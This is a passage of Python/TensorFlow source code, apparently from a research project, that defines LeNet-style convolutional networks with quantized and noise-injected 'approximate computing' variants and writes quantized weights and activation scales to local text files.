Q_weights = quantWeights(weights, name) S_biases, Z_biases, Q_biases = quantBias(bias, S_last, S_weights, name) S_acts, Z_acts = quantAct(act_min, act_max) S_last = S_acts self._postWeights[name] = S_weights * (Q_weights - Z_weights) self._postBias[name] = S_biases * (Q_biases - Z_biases) self._postActivationsMin[name] = act_min self._postActivationsMax[name] = act_max print(name, ' weights: ', file = f_debug) print(self._postWeights[name], file = f_debug) print(name, ' bias: ', file = f_debug) print(self._postBias[name], file = f_debug) with open('./ApproxWeights/' + name + '_weights.txt', 'w') as fout: fout.write(str(S_weights) + "\n") fout.write(str(Z_weights) + "\n") for idx in range(Q_weights.shape[0]): fout.write(str(Q_weights[idx]) + " ") with open('./ApproxWeights/' + name + '_biases.txt', 'w') as fout: fout.write(str(S_biases) + "\n") fout.write(str(Z_biases) + "\n") for idx in range(Q_biases.shape[0]): fout.write(str(Q_biases[idx]) + " ") with open('./ApproxWeights/' + name + '_activations.txt', 'w') as fout: fout.write(str(S_acts) + "\n") fout.write(str(Z_acts) + "\n") else: act_min = self._sess.run(self._quantLayers[name]['Act_Min']) act_max = self._sess.run(self._quantLayers[name]['Act_Max']) S_acts, Z_acts = quantAct(act_min, act_max) S_last = S_acts self._postActivationsMin[name] = act_min self._postActivationsMax[name] = act_max if layertype.find('Pooling') >= 0: f_config.write(str(self._layerInfos[idx][0]) + " " + str(self._layerInfos[idx][1])) f_config.write("\n") with open('./ApproxWeights/' + name + '_activations.txt', 'w') as fout: fout.write(str(S_acts) + "\n") fout.write(str(Z_acts) + "\n") f_names.close() f_config.close() f_debug.close() class Net4Eval(Net4Classify): def __init__(self, inputShape, numClasses, body, pretrained, HParam=HParamDefault, name='Net4Quant'): self._pretrained = pretrained self._preInit() Net4Classify.__init__(self, inputShape, numClasses, body, HParam, name) with self._graph.as_default(): self._sess.run([tf.global_variables_initializer(), tf.local_variables_initializer()]) def _preInit(self): self._preWeights = self._pretrained._postWeights self._preBias = self._pretrained._postBias self._preActivationsMin = self._pretrained._postActivationsMin self._preActivationsMax = self._pretrained._postActivationsMax def body(self, images): def _outWrapper(net): # Simulate quantization a = net._outMin b = net._outMax s = (b - a) / 255.0 output = net.output # output = fake_quant_with_min_max_vars(net.output, a, b, num_bits=FAKEBITS, narrow_range=False) # Simulate value degrade in approximate computing # output -= 0.2 * (output - tf.reduce_min(output)) * tf.random_uniform(minval=0.0, maxval=1.0, shape=output.shape) return output # Body net, layers = self._body(self, images, self._preWeights, self._preBias, self._preActivationsMin, self._preActivationsMax) logits = Layer.FullyConnected(_outWrapper(net), outputSize=self._numClasses, \ weightInit=Layer.ConstInit(self._preWeights['FC_Logits']), wd=self._HParam['WeightDecay'], \ biasInit=Layer.ConstInit(self._preBias['FC_Logits']), \ activation=Layer.Linear, \ name='FC_Logits', dtype=tf.float32) logits.setMinMax(self._preActivationsMin['FC_Logits'], self._preActivationsMax['FC_Logits']) layers.append(logits) return logits.output, layers def saveMiddle(self, image): np.set_printoptions(threshold=np.inf) fout = open('Middle.txt', 'w') print('Image: ', file=fout) print(image, file=fout) for layer in self._layers: name = layer._name print('Result: ', name, file=fout) result = self._sess.run(layer._output, feed_dict={tf._images: image})[0] print(result, file=fout) def _postInit(self): pass def _postTrain(self): pass def LeNetBody(network, images): layers = [] standardized = tf.identity(images / 255.0, name='images_standardized') net = Layer.Conv2D(standardized, convChannels=16, \ convKernel=[5, 5], convStride=[1, 1], convWD=network._HParam['WeightDecay'], \ convInit=Layer.XavierInit, convPadding='SAME', \ bias=True, biasInit=Layer.ConstInit(0.0), \ #bn=True, step=network._step, ifTest=network._ifTest, epsilon=1e-8, \ pool=True, poolSize=[2, 2], poolStride=[2, 2], poolType=Layer.MaxPool, poolPadding='SAME', \ activation=Layer.ReLU, \ name='Conv1', dtype=tf.float32) layers.append(net) net = Layer.Conv2D(net.output, convChannels=32, \ convKernel=[5, 5], convStride=[1, 1], convWD=network._HParam['WeightDecay'], \ convInit=Layer.XavierInit, convPadding='SAME', \ bias=True, biasInit=Layer.ConstInit(0.0), \ #bn=True, step=network._step, ifTest=network._ifTest, epsilon=1e-8, \ pool=True, poolSize=[2, 2], poolStride=[2, 2], poolType=Layer.MaxPool, poolPadding='SAME', \ activation=Layer.ReLU, \ name='Conv2', dtype=tf.float32) layers.append(net) net = Layer.Conv2D(net.output, convChannels=64, \ convKernel=[5, 5], convStride=[1, 1], convWD=network._HParam['WeightDecay'], \ convInit=Layer.XavierInit, convPadding='SAME', \ bias=True, biasInit=Layer.ConstInit(0.0), \ #bn=True, step=network._step, ifTest=network._ifTest, epsilon=1e-8, \ pool=True, poolSize=[2, 2], poolStride=[2, 2], poolType=Layer.MaxPool, poolPadding='SAME', \ activation=Layer.ReLU, \ name='Conv3', dtype=tf.float32) layers.append(net) flattened = tf.reshape(net.output, [-1, net.output.shape[1]*net.output.shape[2]*net.output.shape[3]]) net = Layer.FullyConnected(flattened, outputSize=256, weightInit=Layer.XavierInit, wd=network._HParam['WeightDecay'], \ bias=True, biasInit=Layer.ConstInit(0.0), \ #bn=True, step=network._step, ifTest=network._ifTest, \ activation=Layer.ReLU, \ name='FC1', dtype=tf.float32) layers.append(net) return net.output, layers def LeNetBNBody(network, images): layers = [] standardized = tf.identity(images / 255.0, name='images_standardized') net = Layer.Conv2D(standardized, convChannels=16, \ convKernel=[5, 5], convStride=[1, 1], convWD=network._HParam['WeightDecay'], \ convInit=Layer.XavierInit, convPadding='SAME', \ bias=True, biasInit=Layer.ConstInit(0.0), \ bn=True, step=network._step, ifTest=network._ifTest, epsilon=1e-8, \ pool=True, poolSize=[2, 2], poolStride=[2, 2], poolType=Layer.MaxPool, poolPadding='SAME', \ activation=Layer.ReLU, \ name='Conv1', dtype=tf.float32) layers.append(net) net = Layer.Conv2D(net.output, convChannels=32, \ convKernel=[5, 5], convStride=[1, 1], convWD=network._HParam['WeightDecay'], \ convInit=Layer.XavierInit, convPadding='SAME', \ bias=True, biasInit=Layer.ConstInit(0.0), \ bn=True, step=network._step, ifTest=network._ifTest, epsilon=1e-8, \ pool=True, poolSize=[2, 2], poolStride=[2, 2], poolType=Layer.MaxPool, poolPadding='SAME', \ activation=Layer.ReLU, \ name='Conv2', dtype=tf.float32) layers.append(net) net = Layer.Conv2D(net.output, convChannels=64, \ convKernel=[5, 5], convStride=[1, 1], convWD=network._HParam['WeightDecay'], \ convInit=Layer.XavierInit, convPadding='SAME', \ bias=True, biasInit=Layer.ConstInit(0.0), \ bn=True, step=network._step, ifTest=network._ifTest, epsilon=1e-8, \ pool=True, poolSize=[2, 2], poolStride=[2, 2], poolType=Layer.MaxPool, poolPadding='SAME', \ activation=Layer.ReLU, \ name='Conv3', dtype=tf.float32) layers.append(net) flattened = tf.reshape(net.output, [-1, net.output.shape[1]*net.output.shape[2]*net.output.shape[3]]) net = Layer.FullyConnected(flattened, outputSize=256, weightInit=Layer.XavierInit, wd=network._HParam['WeightDecay'], \ bias=True, biasInit=Layer.ConstInit(0.0), \ bn=True, step=network._step, ifTest=network._ifTest, \ activation=Layer.ReLU, \ name='FC1', dtype=tf.float32) layers.append(net) return net.output, layers def LeNetBody_Quant(network, images, preWeights, preBias): def _outWrapper(net): # Simulate quantization a = net._outMin b = net._outMax s = (b - a) / 255.0 output = net.output output = fake_quant_with_min_max_vars(net.output, a, b, num_bits=FAKEBITS, narrow_range=False) # Simulate value degrade in approximate computing # output -= 0.2 * (output - tf.reduce_min(output)) * tf.random_uniform(minval=0.0, maxval=1.0, shape=output.shape) return output layers = [] standardized = tf.identity(images * (1 / 255.0), name='images_standardized') net = Layer.Conv2D(standardized, convChannels=16, \ convKernel=[5, 5], convStride=[1, 1], convWD=network._HParam['WeightDecay'], \ convInit=Layer.ConstInit(preWeights['Conv1']), convPadding='SAME', \ biasInit=Layer.ConstInit(preBias['Conv1']), \ # bn=True, step=network._step, ifTest=network._ifTest, epsilon=1e-8, \ pool=True, poolSize=[2, 2], poolStride=[2, 2], poolType=Layer.MaxPool, poolPadding='SAME', \ activation=Layer.ReLU, \ fakeQuant=True, name='Conv1', dtype=tf.float32) layers.append(net) net = Layer.Conv2D(_outWrapper(net), convChannels=32, \ convKernel=[5, 5], convStride=[1, 1], convWD=network._HParam['WeightDecay'], \ convInit=Layer.ConstInit(preWeights['Conv2']), convPadding='SAME', \ biasInit=Layer.ConstInit(preBias['Conv2']), \ # bn=True, step=network._step, ifTest=network._ifTest, epsilon=1e-8, \ pool=True, poolSize=[2, 2], poolStride=[2, 2], poolType=Layer.MaxPool, poolPadding='SAME', \ activation=Layer.ReLU, \ fakeQuant=True, name='Conv2', dtype=tf.float32) layers.append(net) net = Layer.Conv2D(_outWrapper(net), convChannels=64, \ convKernel=[5, 5], convStride=[1, 1], convWD=network._HParam['WeightDecay'], \ convInit=Layer.ConstInit(preWeights['Conv3']), convPadding='SAME', \ biasInit=Layer.ConstInit(preBias['Conv3']), \ # bn=True, step=network._step, ifTest=network._ifTest, epsilon=1e-8, \ pool=True, poolSize=[2, 2], poolStride=[2, 2], poolType=Layer.MaxPool, poolPadding='SAME', \ activation=Layer.ReLU, \ fakeQuant=True, name='Conv3', dtype=tf.float32) layers.append(net) flattened = tf.reshape(_outWrapper(net), [-1, net.output.shape[1]*net.output.shape[2]*net.output.shape[3]]) net = Layer.FullyConnected(flattened, outputSize=256, weightInit=Layer.ConstInit(preWeights['FC1']), wd=network._HParam['WeightDecay'], \ biasInit=Layer.ConstInit(preBias['FC1']), \ # bn=True, step=network._step, ifTest=network._ifTest, \ activation=Layer.ReLU, \ fakeQuant=True, name='FC1', dtype=tf.float32) layers.append(net) return net, layers def LeNetBody_Approx(network, images, preWeights, preBias): def _outWrapper(net): # Simulate quantization a = net._outMin b = net._outMax s = (b - a) / 255.0 output = net.output output = fake_quant_with_min_max_vars(net.output, a, b, num_bits=FAKEBITS, narrow_range=False) # Simulate value degrade in approximate computing # output += PORTION * (output - tf.reduce_min(output)) * tf.random_uniform(minval=FROM, maxval=TO, shape=output.shape) output += PORTION * tf.abs(output) * tf.random_uniform(minval=FROM, maxval=TO, shape=output.shape) return output layers = [] standardized = tf.identity(images * (1 / 255.0), name='images_standardized') net = Layer.Conv2D(standardized, convChannels=16, \ convKernel=[5, 5], convStride=[1, 1], convWD=network._HParam['WeightDecay'], \ convInit=Layer.ConstInit(preWeights['Conv1']), convPadding='SAME', \ biasInit=Layer.ConstInit(preBias['Conv1']), \ # bn=True, step=network._step, ifTest=network._ifTest, epsilon=1e-8, \ pool=True, poolSize=[2, 2], poolStride=[2, 2], poolType=Layer.MaxPool, poolPadding='SAME', \ activation=Layer.ReLU, \ fakeQuant=True, name='Conv1', dtype=tf.float32) layers.append(net) net = Layer.Conv2D(_outWrapper(net), convChannels=32, \ convKernel=[5, 5], convStride=[1, 1], convWD=network._HParam['WeightDecay'], \ convInit=Layer.ConstInit(preWeights['Conv2']), convPadding='SAME', \ biasInit=Layer.ConstInit(preBias['Conv2']), \ # bn=True, step=network._step, ifTest=network._ifTest, epsilon=1e-8, \ pool=True, poolSize=[2, 2], poolStride=[2, 2], poolType=Layer.MaxPool, poolPadding='SAME', \ activation=Layer.ReLU, \ fakeQuant=True, name='Conv2', dtype=tf.float32) layers.append(net) net = Layer.Conv2D(_outWrapper(net), convChannels=64, \ convKernel=[5, 5], convStride=[1, 1], convWD=network._HParam['WeightDecay'], \ convInit=Layer.ConstInit(preWeights['Conv3']), convPadding='SAME', \ biasInit=Layer.ConstInit(preBias['Conv3']), \ # bn=True, step=network._step, ifTest=network._ifTest, epsilon=1e-8, \ pool=True, poolSize=[2, 2], poolStride=[2, 2], poolType=Layer.MaxPool, poolPadding='SAME', \ activation=Layer.ReLU, \ fakeQuant=True, name='Conv3', dtype=tf.float32) layers.append(net) flattened = tf.reshape(_outWrapper(net), [-1, net.output.shape[1]*net.output.shape[2]*net.output.shape[3]]) net = Layer.FullyConnected(flattened, outputSize=256, weightInit=Layer.ConstInit(preWeights['FC1']), wd=network._HParam['WeightDecay'], \ biasInit=Layer.ConstInit(preBias['FC1']), \ # bn=True, step=network._step, ifTest=network._ifTest, \ activation=Layer.ReLU, \ fakeQuant=True, name='FC1', dtype=tf.float32) layers.append(net) return net, layers def LeNetBody_Eval(network, images, preWeights, preBias, preMin, preMax): def _outWrapper(net): # Simulate quantization a = net._outMin b = net._outMax s = (b - a) / 255.0 output = net.output # output = fake_quant_with_min_max_vars(net.output, a, b, num_bits=FAKEBITS, narrow_range=False) # Simulate value degrade in approximate computing # output -= 0.2 * (output - tf.reduce_min(output)) * tf.random_uniform(minval=0.0, maxval=1.0, shape=output.shape) return output layers = [] standardized = tf.identity(images * (1 / 255.0), name='images_standardized') net = Layer.Conv2D(standardized, convChannels=16, \ convKernel=[5, 5], convStride=[1, 1], convWD=network._HParam['WeightDecay'], \ convInit=Layer.ConstInit(preWeights['Conv1']), convPadding='SAME', \ biasInit=Layer.ConstInit(preBias['Conv1']), \ # bn=True, step=network._step, ifTest=network._ifTest, epsilon=1e-8, \ pool=True, poolSize=[2, 2], poolStride=[2, 2], poolType=Layer.MaxPool, poolPadding='SAME', \ activation=Layer.ReLU, \ name='Conv1', dtype=tf.float32) net.setMinMax(preMin['Conv1'], preMax['Conv1']) layers.append(net) net = Layer.Conv2D(_outWrapper(net), convChannels=32, \ convKernel=[5, 5], convStride=[1, 1], convWD=network._HParam['WeightDecay'], \ convInit=Layer.ConstInit(preWeights['Conv2']), convPadding='SAME', \ biasInit=Layer.ConstInit(preBias['Conv2']), \ # bn=True, step=network._step, ifTest=network._ifTest, epsilon=1e-8, \ pool=True, poolSize=[2, 2], poolStride=[2, 2], poolType=Layer.MaxPool, poolPadding='SAME', \ activation=Layer.ReLU, \ name='Conv2', dtype=tf.float32) net.setMinMax(preMin['Conv2'], preMax['Conv2']) layers.append(net) net = Layer.Conv2D(_outWrapper(net), convChannels=64, \ convKernel=[5, 5], convStride=[1, 1], convWD=network._HParam['WeightDecay'], \ convInit=Layer.ConstInit(preWeights['Conv3']), convPadding='SAME', \ biasInit=Layer.ConstInit(preBias['Conv3']), \ # bn=True, step=network._step, ifTest=network._ifTest, epsilon=1e-8, \ pool=True, poolSize=[2, 2], poolStride=[2, 2], poolType=Layer.MaxPool, poolPadding='SAME', \ activation=Layer.ReLU, \ name='Conv3', dtype=tf.float32) net.setMinMax(preMin['Conv3'], preMax['Conv3']) layers.append(net) flattened = tf.reshape(_outWrapper(net), [-1, net.output.shape[1]*net.output.shape[2]*net.output.shape[3]]) net = Layer.FullyConnected(flattened, outputSize=256, weightInit=Layer.ConstInit(preWeights['FC1']), wd=network._HParam['WeightDecay'], \ biasInit=Layer.ConstInit(preBias['FC1']), \ # bn=True, step=network._step, ifTest=network._ifTest, \ activation=Layer.ReLU, \ name='FC1', dtype=tf.float32) net.setMinMax(preMin['FC1'], preMax['FC1']) layers.append(net) return net, layers def LeNetBigBody(network, images): layers = [] standardized = tf.identity(images / 255.0, name='images_standardized') net = Layer.Conv2D(standardized, convChannels=32, \ convKernel=[5, 5], convStride=[1, 1], convWD=network._HParam['WeightDecay'], \ convInit=Layer.XavierInit, convPadding='SAME', \ bias=True, biasInit=Layer.ConstInit(0.0), \ #bn=True, step=network._step, ifTest=network._ifTest, epsilon=1e-8, \ pool=True, poolSize=[2, 2], poolStride=[2, 2], poolType=Layer.MaxPool, poolPadding='SAME', \ activation=Layer.ReLU, \ name='Conv1', dtype=tf.float32) layers.append(net) net = Layer.Conv2D(net.output, convChannels=64, \ convKernel=[5, 5], convStride=[1, 1], convWD=network._HParam['WeightDecay'], \ convInit=Layer.XavierInit, convPadding='SAME', \ bias=True, biasInit=Layer.ConstInit(0.0), \ #bn=True, step=network._step, ifTest=network._ifTest, epsilon=1e-8, \ pool=True, poolSize=[2, 2], poolStride=[2, 2], poolType=Layer.MaxPool, poolPadding='SAME', \ activation=Layer.ReLU, \ name='Conv2', dtype=tf.float32) layers.append(net) net = Layer.Conv2D(net.output, convChannels=128, \ convKernel=[5, 5], convStride=[1, 1], convWD=network._HParam['WeightDecay'], \ convInit=Layer.XavierInit, convPadding='SAME', \ bias=True, biasInit=Layer.ConstInit(0.0), \ #bn=True, step=network._step, ifTest=network._ifTest, epsilon=1e-8, \ pool=True, poolSize=[2, 2], poolStride=[2, 2], poolType=Layer.MaxPool, poolPadding='SAME', \ activation=Layer.ReLU, \ name='Conv3', dtype=tf.float32) layers.append(net) flattened = tf.reshape(net.output, [-1, net.output.shape[1]*net.output.shape[2]*net.output.shape[3]]) net = Layer.FullyConnected(flattened, outputSize=512, weightInit=Layer.XavierInit, wd=network._HParam['WeightDecay'], \ bias=True, biasInit=Layer.ConstInit(0.0), \ #bn=True, step=network._step, ifTest=network._ifTest, \ activation=Layer.ReLU, \ name='FC1', dtype=tf.float32) layers.append(net) return net.output, layers def LeNetBigBNBody(network, images): layers = [] standardized = tf.identity(images / 255.0, name='images_standardized') net = Layer.Conv2D(standardized, convChannels=32, \ convKernel=[5, 5], convStride=[1, 1], convWD=network._HParam['WeightDecay'], \ convInit=Layer.XavierInit, convPadding='SAME', \ bias=True, biasInit=Layer.ConstInit(0.0), \ bn=True, step=network._step, ifTest=network._ifTest, epsilon=1e-8, \ pool=True, poolSize=[2, 2], poolStride=[2, 2], poolType=Layer.MaxPool, poolPadding='SAME', \ activation=Layer.ReLU, \ name='Conv1', dtype=tf.float32) layers.append(net) net = Layer.Conv2D(net.output, convChannels=64, \ convKernel=[5, 5], convStride=[1, 1], convWD=network._HParam['WeightDecay'], \ convInit=Layer.XavierInit, convPadding='SAME', \ bias=True, biasInit=Layer.ConstInit(0.0), \ bn=True, step=network._step, ifTest=network._ifTest, epsilon=1e-8, \ pool=True, poolSize=[2, 2], poolStride=[2, 2], poolType=Layer.MaxPool, poolPadding='SAME', \ activation=Layer.ReLU, \ name='Conv2', dtype=tf.float32) layers.append(net) net = Layer.Conv2D(net.output, convChannels=128, \ convKernel=[5, 5], convStride=[1, 1], convWD=network._HParam['WeightDecay'], \ convInit=Layer.XavierInit, convPadding='SAME', \ bias=True, biasInit=Layer.ConstInit(0.0), \ bn=True, step=network._step, ifTest=network._ifTest, epsilon=1e-8, \ pool=True, poolSize=[2, 2], poolStride=[2, 2], poolType=Layer.MaxPool, poolPadding='SAME', \ activation=Layer.ReLU, \ name='Conv3', dtype=tf.float32) layers.append(net) flattened = tf.reshape(net.output, [-1, net.output.shape[1]*net.output.shape[2]*net.output.shape[3]]) net = Layer.FullyConnected(flattened, outputSize=512, weightInit=Layer.XavierInit, wd=network._HParam['WeightDecay'], \ bias=True, biasInit=Layer.ConstInit(0.0), \ bn=True, step=network._step, ifTest=network._ifTest, \ activation=Layer.ReLU, \ name='FC1', dtype=tf.float32) layers.append(net) return net.output, layers def LeNetBigBody_Quant(network, images, preWeights, preBias): def _outWrapper(net): # Simulate quantization a = net._outMin b = net._outMax s = (b - a) / 255.0 output = net.output output = fake_quant_with_min_max_vars(net.output, a, b, num_bits=FAKEBITS, narrow_range=False) # Simulate value degrade in approximate computing # output -= 0.2 * (output - tf.reduce_min(output)) * tf.random_uniform(minval=0.0, maxval=1.0, shape=output.shape) return output layers = [] standardized = tf.identity(images * (1 / 255.0), name='images_standardized') net = Layer.Conv2D(standardized, convChannels=32, \ convKernel=[5, 5], convStride=[1, 1], convWD=network._HParam['WeightDecay'], \ convInit=Layer.ConstInit(preWeights['Conv1']), convPadding='SAME', \ biasInit=Layer.ConstInit(preBias['Conv1']), \ # bn=True, step=network._step, ifTest=network._ifTest, epsilon=1e-8, \ pool=True, poolSize=[2, 2], poolStride=[2, 2], poolType=Layer.MaxPool, poolPadding='SAME', \ activation=Layer.ReLU, \ fakeQuant=True, name='Conv1', dtype=tf.float32) layers.append(net) net = Layer.Conv2D(_outWrapper(net), convChannels=64, \ convKernel=[5, 5], convStride=[1, 1], convWD=network._HParam['WeightDecay'], \ convInit=Layer.ConstInit(preWeights['Conv2']), convPadding='SAME', \ biasInit=Layer.ConstInit(preBias['Conv2']), \ # bn=True, step=network._step, ifTest=network._ifTest, epsilon=1e-8, \ pool=True, poolSize=[2, 2], poolStride=[2, 2], poolType=Layer.MaxPool, poolPadding='SAME', \ activation=Layer.ReLU, \ fakeQuant=True, name='Conv2', dtype=tf.float32) layers.append(net) net = Layer.Conv2D(_outWrapper(net), convChannels=128, \ convKernel=[5, 5], convStride=[1, 1], convWD=network._HParam['WeightDecay'], \ convInit=Layer.ConstInit(preWeights['Conv3']), convPadding='SAME', \ biasInit=Layer.ConstInit(preBias['Conv3']), \ # bn=True, step=network._step, ifTest=network._ifTest, epsilon=1e-8, \ pool=True, poolSize=[2, 2], poolStride=[2, 2], poolType=Layer.MaxPool, poolPadding='SAME', \ activation=Layer.ReLU, \ fakeQuant=True, name='Conv3', dtype=tf.float32) layers.append(net) flattened = tf.reshape(_outWrapper(net), [-1, net.output.shape[1]*net.output.shape[2]*net.output.shape[3]]) net = Layer.FullyConnected(flattened, outputSize=512, weightInit=Layer.ConstInit(preWeights['FC1']), wd=network._HParam['WeightDecay'], \ biasInit=Layer.ConstInit(preBias['FC1']), \ # bn=True, step=network._step, ifTest=network._ifTest, \ activation=Layer.ReLU, \ fakeQuant=True, name='FC1', dtype=tf.float32) layers.append(net) return net, layers def LeNetBigBody_Approx(network, images, preWeights, preBias): def _outWrapper(net): # Simulate quantization a = net._outMin b = net._outMax s = (b - a) / 255.0 output = net.output output = fake_quant_with_min_max_vars(net.output, a, b, num_bits=FAKEBITS, narrow_range=False) # Simulate value degrade in approximate computing # output += PORTION * (output - tf.reduce_min(output)) * tf.random_uniform(minval=FROM, maxval=TO, shape=output.shape) output += PORTION * tf.abs(output) * tf.random_uniform(minval=FROM, maxval=TO, shape=output.shape) return output layers = [] standardized = tf.identity(images * (1 / 255.0), name='images_standardized') net = Layer.Conv2D(standardized, convChannels=32, \ convKernel=[5, 5], convStride=[1, 1], convWD=network._HParam['WeightDecay'], \ convInit=Layer.ConstInit(preWeights['Conv1']), convPadding='SAME', \ biasInit=Layer.ConstInit(preBias['Conv1']), \ # bn=True, step=network._step, ifTest=network._ifTest, epsilon=1e-8, \ pool=True, poolSize=[2, 2], poolStride=[2, 2], poolType=Layer.MaxPool, poolPadding='SAME', \ activation=Layer.ReLU, \ fakeQuant=True, name='Conv1', dtype=tf.float32) layers.append(net) net = Layer.Conv2D(_outWrapper(net), convChannels=64, \ convKernel=[5, 5], convStride=[1, 1], convWD=network._HParam['WeightDecay'], \ convInit=Layer.ConstInit(preWeights['Conv2']), convPadding='SAME', \ biasInit=Layer.ConstInit(preBias['Conv2']), \ # bn=True, step=network._step, ifTest=network._ifTest, epsilon=1e-8, \ pool=True, poolSize=[2, 2], poolStride=[2, 2], poolType=Layer.MaxPool, poolPadding='SAME', \ activation=Layer.ReLU, \ fakeQuant=True, name='Conv2', dtype=tf.float32) layers.append(net) net = Layer.Conv2D(_outWrapper(net), convChannels=128, \ convKernel=[5, 5], convStride=[1, 1], convWD=network._HParam['WeightDecay'], \ convInit=Layer.ConstInit(preWeights['Conv3']), convPadding='SAME', \ biasInit=Layer.ConstInit(preBias['Conv3']), \ # bn=True, step=network._step, ifTest=network._ifTest, epsilon=1e-8, \ pool=True, poolSize=[2, 2], poolStride=[2, 2], poolType=Layer.MaxPool, poolPadding='SAME', \ activation=Layer.ReLU, \ fakeQuant=True, name='Conv3', dtype=tf.float32) layers.append(net) flattened = tf.reshape(_outWrapper(net), [-1, net.output.shape[1]*net.output.shape[2]*net.output.shape[3]]) net = Layer.FullyConnected(flattened, outputSize=512, weightInit=Layer.ConstInit(preWeights['FC1']), wd=network._HParam['WeightDecay'], \ biasInit=Layer.ConstInit(preBias['FC1']), \ # bn=True, step=network._step, ifTest=network._ifTest, \ activation=Layer.ReLU, \ fakeQuant=True, name='FC1', dtype=tf.float32) layers.append(net) return net, layers def LeNetBigBody_Eval(network, images, preWeights, preBias, preMin, preMax): def _outWrapper(net): # Simulate quantization a = net._outMin b = net._outMax s = (b - a) / 255.0 output = net.output # output = fake_quant_with_min_max_vars(net.output, a, b, num_bits=FAKEBITS, narrow_range=False) # Simulate value degrade in approximate computing # output -= 0.2 * (output - tf.reduce_min(output)) * tf.random_uniform(minval=0.0, maxval=1.0, shape=output.shape) return output layers = [] standardized = tf.identity(images * (1 / 255.0), name='images_standardized') net = Layer.Conv2D(standardized, convChannels=32, \ convKernel=[5, 5], convStride=[1, 1], convWD=network._HParam['WeightDecay'], \ convInit=Layer.ConstInit(preWeights['Conv1']), convPadding='SAME', \ biasInit=Layer.ConstInit(preBias['Conv1']), \ # bn=True, step=network._step, ifTest=network._ifTest, epsilon=1e-8, \ pool=True, poolSize=[2, 2], poolStride=[2, 2], poolType=Layer.MaxPool, poolPadding='SAME', \ activation=Layer.ReLU, \ name='Conv1', dtype=tf.float32) net.setMinMax(preMin['Conv1'], preMax['Conv1']) layers.append(net) net = Layer.Conv2D(_outWrapper(net), convChannels=64, \ convKernel=[5, 5], convStride=[1, 1], convWD=network._HParam['WeightDecay'], \ convInit=Layer.ConstInit(preWeights['Conv2']), convPadding='SAME', \ biasInit=Layer.ConstInit(preBias['Conv2']), \ # bn=True, step=network._step, ifTest=network._ifTest, epsilon=1e-8, \ pool=True, poolSize=[2, 2], poolStride=[2, 2], poolType=Layer.MaxPool, poolPadding='SAME', \ activation=Layer.ReLU, \ name='Conv2', dtype=tf.float32) net.setMinMax(preMin['Conv2'], preMax['Conv2']) layers.append(net) net = Layer.Conv2D(_outWrapper(net), convChannels=128, \ convKernel=[5, 5], convStride=[1, 1], convWD=network._HParam['WeightDecay'], \ convInit=Layer.ConstInit(preWeights['Conv3']), convPadding='SAME', \ biasInit=Layer.ConstInit(preBias['Conv3']), \ # bn=True, step=network._step, ifTest=network._ifTest, epsilon=1e-8, \ pool=True, poolSize=[2, 2], poolStride=[2, 2], poolType=Layer.MaxPool, poolPadding='SAME', \ activation=Layer.ReLU, \ name='Conv3', dtype=tf.float32) net.setMinMax(preMin['Conv3'], preMax['Conv3']) layers.append(net) flattened = tf.reshape(_outWrapper(net), [-1, net.output.shape[1]*net.output.shape[2]*net.output.shape[3]]) net = Layer.FullyConnected(flattened, outputSize=512, weightInit=Layer.ConstInit(preWeights['FC1']), wd=network._HParam['WeightDecay'], \ biasInit=Layer.ConstInit(preBias['FC1']), \ # bn=True, step=network._step, ifTest=network._ifTest, \ activation=Layer.ReLU, \ name='FC1', dtype=tf.float32) net.setMinMax(preMin['FC1'], preMax['FC1']) layers.append(net) return net, layers def LargeNetBody(network, images): layers = [] standardized = tf.identity(images / 255.0, name='images_standardized') net = Layer.Conv2D(standardized, convChannels=32, \ convKernel=[3, 3], convStride=[1, 1], convWD=network._HParam['WeightDecay'], \ convInit=Layer.XavierInit, convPadding='SAME', \ bias=True, biasInit=Layer.ConstInit(0.0), \ #bn=True, step=network._step, ifTest=network._ifTest, epsilon=1e-8, \ # pool=True, poolSize=[2, 2], poolStride=[2, 2], poolType=Layer.MaxPool, poolPadding='SAME', \ activation=Layer.ReLU, \ name='Conv1a', dtype=tf.float32) layers.append(net) net = Layer.Conv2D(net.output, convChannels=32, \ convKernel=[3, 3], convStride=[1, 1], convWD=network._HParam['WeightDecay'], \ convInit=Layer.XavierInit, convPadding='SAME', \ bias=True, biasInit=Layer.ConstInit(0.0), \ #bn=True, step=network._step, ifTest=network._ifTest, epsilon=1e-8, \ pool=True, poolSize=[2, 2], poolStride=[2, 2], poolType=Layer.MaxPool, poolPadding='SAME', \ activation=Layer.ReLU, \ name='Conv1b', dtype=tf.float32) layers.append(net) net = Layer.Conv2D(net.output, convChannels=64, \ convKernel=[3, 3], convStride=[1, 1], convWD=network._HParam['WeightDecay'], \ convInit=Layer.XavierInit, convPadding='SAME', \ bias=True, biasInit=Layer.ConstInit(0.0), \ #bn=True, step=network._step, ifTest=network._ifTest, epsilon=1e-8, \ # pool=True, poolSize=[2, 2], poolStride=[2, 2], poolType=Layer.MaxPool, poolPadding='SAME', \ activation=Layer.ReLU, \ name='Conv2a', dtype=tf.float32) layers.append(net) net = Layer.Conv2D(net.output, convChannels=64, \ convKernel=[3, 3], convStride=[1, 1], convWD=network._HParam['WeightDecay'], \ convInit=Layer.XavierInit, convPadding='SAME', \ bias=True, biasInit=Layer.ConstInit(0.0), \ #bn=True, step=network._step, ifTest=network._ifTest, epsilon=1e-8, \ pool=True, poolSize=[2, 2], poolStride=[2, 2], poolType=Layer.MaxPool, poolPadding='SAME', \ activation=Layer.ReLU, \ name='Conv2b', dtype=tf.float32) layers.append(net) net = Layer.Conv2D(net.output, convChannels=128, \ convKernel=[3, 3], convStride=[1, 1], convWD=network._HParam['WeightDecay'], \ convInit=Layer.XavierInit, convPadding='SAME', \ bias=True, biasInit=Layer.ConstInit(0.0), \ #bn=True, step=network._step, ifTest=network._ifTest, epsilon=1e-8, \ # pool=True, poolSize=[2, 2], poolStride=[2, 2], poolType=Layer.MaxPool, poolPadding='SAME', \ activation=Layer.ReLU, \ name='Conv3a', dtype=tf.float32) layers.append(net) net = Layer.Conv2D(net.output, convChannels=128, \ convKernel=[3, 3], convStride=[1, 1], convWD=network._HParam['WeightDecay'], \ convInit=Layer.XavierInit, convPadding='SAME', \ bias=True, biasInit=Layer.ConstInit(0.0), \ #bn=True, step=network._step, ifTest=network._ifTest, epsilon=1e-8, \ pool=True, poolSize=[2, 2], poolStride=[2, 2], poolType=Layer.MaxPool, poolPadding='SAME', \ activation=Layer.ReLU, \ name='Conv3b', dtype=tf.float32) layers.append(net) flattened = tf.reshape(net.output, [-1, net.output.shape[1]*net.output.shape[2]*net.output.shape[3]]) net = Layer.FullyConnected(flattened, outputSize=512, weightInit=Layer.XavierInit, wd=network._HParam['WeightDecay'], \ 